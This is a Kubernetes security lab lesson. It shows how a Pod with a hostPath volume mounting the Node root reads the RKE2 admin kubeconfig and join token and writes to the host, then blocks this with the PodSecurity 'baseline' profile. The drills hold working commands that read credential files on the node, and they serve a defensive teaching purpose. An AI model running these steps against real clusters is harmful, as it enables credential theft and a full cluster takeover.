Day 6: hostPath – Escape with No “privileged” at All
Goal: You read the admin kubeconfig off the Node via a hostPath volume – and stop it with “baseline” already. · Duration: approx. 60 min · Prerequisite: Day 5
Briefing
Yesterday you needed privileged. Today a volume is
enough. A hostPath volume mounts a directory of the
Node into the Pod – with path: / the whole
Node filesystem. No privileged, no host namespaces, nothing
conspicuous. And yet afterwards the cluster’s credentials lie exposed.
The good news: the middle PSA profile baseline already
helps against this – but only if one is active at all.
Drill 1: The Misconfiguration – the Node Filesystem in the Pod
An inconspicuous Pod, pinned to the server Node, with the Node root
under /host:
kubectl create namespace hostpath
kubectl -n hostpath apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: hp, namespace: hostpath}
spec:
nodeName: rke2-server
containers:
- name: c
image: nicolaka/netshoot
command: ["sleep","infinity"]
volumeMounts:
- {name: host, mountPath: /host}
volumes:
- name: host
hostPath: {path: /}
EOF
kubectl -n hostpath wait --for=condition=Ready pod/hp --timeout=90sWhy pin to the server? The most interesting files – the cluster kubeconfig, the join token – live on the control-plane Node. In reality an attacker simply tries every Node.
Save your progress? Sign up for free
Drill 2: Exploit – Reading the Crown Jewels
The admin kubeconfig of RKE2 lives on the server and is cluster-admin:
kubectl -n hostpath exec hp -- grep server: /host/etc/rancher/rke2/rke2.yamlExpected:
server: https://127.0.0.1:6443
With this file (certificates included), the attacker takes over the entire cluster. And the join token that lets you attach arbitrary Nodes:
kubectl -n hostpath exec hp -- head -c 60 /host/var/lib/rancher/rke2/server/token; echoExpected (shortened):
K10d53ee89a89ab6fffa57e9168b09e14e8890d825fd5e9ef91a1cb34a3d
Writing works too – a hostPath with / is full Node
access:
kubectl -n hostpath exec hp -- sh -c 'echo test > /host/tmp/attacker-was-here && \
cat /host/tmp/attacker-was-here'Expected:
test
Warning: From here all escalations are open: a cron job on the host, a tampered kubelet, reading all Pod Secrets of this Node.
hostPath: /is game over – entirely withoutprivileged.
Save your progress? Sign up for free
Drill 3: Fix – Turn On PSA “baseline”
hostPath volumes are among the things the middle profile
baseline already forbids. You don’t even need
restricted:
kubectl label namespace hostpath \
pod-security.kubernetes.io/enforce=baseline --overwriteExpected (a warning about the running Pod is normal):
Warning: existing pods in namespace "hostpath" violate the new PodSecurity enforce level
Warning: hp: hostPath volumes
namespace/hostpath labeled
Save your progress? Sign up for free
Drill 4: Proof – the hostPath Pod Is Rejected
kubectl -n hostpath delete pod hp
kubectl -n hostpath apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: hp2, namespace: hostpath}
spec:
nodeName: rke2-server
containers:
- name: c
image: nicolaka/netshoot
command: ["sleep","infinity"]
volumeMounts: [{name: host, mountPath: /host}]
volumes: [{name: host, hostPath: {path: /}}]
EOFExpected:
Error from server (Forbidden): error when creating "STDIN": pods "hp2" is forbidden:
violates PodSecurity "baseline:latest": hostPath volumes (volume "host")
Remove the trace and the lab:
kubectl -n hostpath exec hp -- rm -f /host/tmp/attacker-was-here 2>/dev/null || true
kubectl delete namespace hostpathSave your progress? Sign up for free
Checkpoint
A fresh namespace with baseline rejects hostPath:
kubectl create namespace hp-test
kubectl label namespace hp-test pod-security.kubernetes.io/enforce=baseline
kubectl -n hp-test apply -f - <<'EOF' 2>&1 | grep -o "hostPath volumes.*"
apiVersion: v1
kind: Pod
metadata: {name: x, namespace: hp-test}
spec:
containers: [{name: c, image: nicolaka/netshoot, command: ["sleep","infinity"],
volumeMounts: [{name: h, mountPath: /host}]}]
volumes: [{name: h, hostPath: {path: /}}]
EOF
kubectl delete namespace hp-testExpected: hostPath volumes (volume "h")
Challenge
A cluster entirely without a PSA label on a namespace: which enforce level applies there? Check whether a hostPath Pod goes through in a bare namespace – that is the as-delivered state in which most self-built clusters run.
Hint: Without a label and without a cluster-wide
default, the level privileged applies – that is,
“everything allowed”.
Solution
kubectl create namespace nolabel
kubectl -n nolabel apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: x, namespace: nolabel}
spec:
containers: [{name: c, image: nicolaka/netshoot, command: ["sleep","infinity"],
volumeMounts: [{name: h, mountPath: /host}]}]
volumes: [{name: h, hostPath: {path: /}}]
EOF
kubectl -n nolabel get pod x
kubectl delete namespace nolabelExpected: the Pod runs (Running). Without a PSA default,
every new namespace is open – the most important reason to set PSA
cluster-wide as the default, not namespace by
namespace.
Save your progress? Sign up for free
Enterprise Note
- PSA cluster-wide via
AdmissionConfigurationto at leastbaselineas the default – otherwise every newly created namespace protects nothing. hostPathonly for a few system workloads (CSI, logging agents) and then read-only and restricted to a specific directory, never/.- Harden Node files: restrict access to
rke2.yaml,server/tokenand the TLS directories strictly to root; don’t make Nodes reachable from the corporate network. - For read-only paths and allowed volume types add Kyverno as well (Day 12).